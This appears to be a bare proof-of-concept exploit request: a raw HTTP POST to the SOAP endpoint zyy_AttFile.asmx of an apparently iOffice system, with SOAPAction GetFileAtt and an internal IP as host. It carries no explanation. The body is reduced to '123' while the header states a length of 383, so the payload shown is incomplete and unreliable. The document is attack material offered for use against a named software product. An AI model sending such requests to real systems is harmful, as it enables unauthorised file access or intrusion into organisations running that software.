POC ``` POST /ioffice/prg/interface/zyy_AttFile.asmx HTTP/1.1 Host: 10.250.250.5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Content-Length: 383 Content-Type: text/xml; charset=utf-8 Soapaction: "http://tempuri.org/GetFileAtt" Accept-Encoding: gzip, deflate Connection: close 123 ```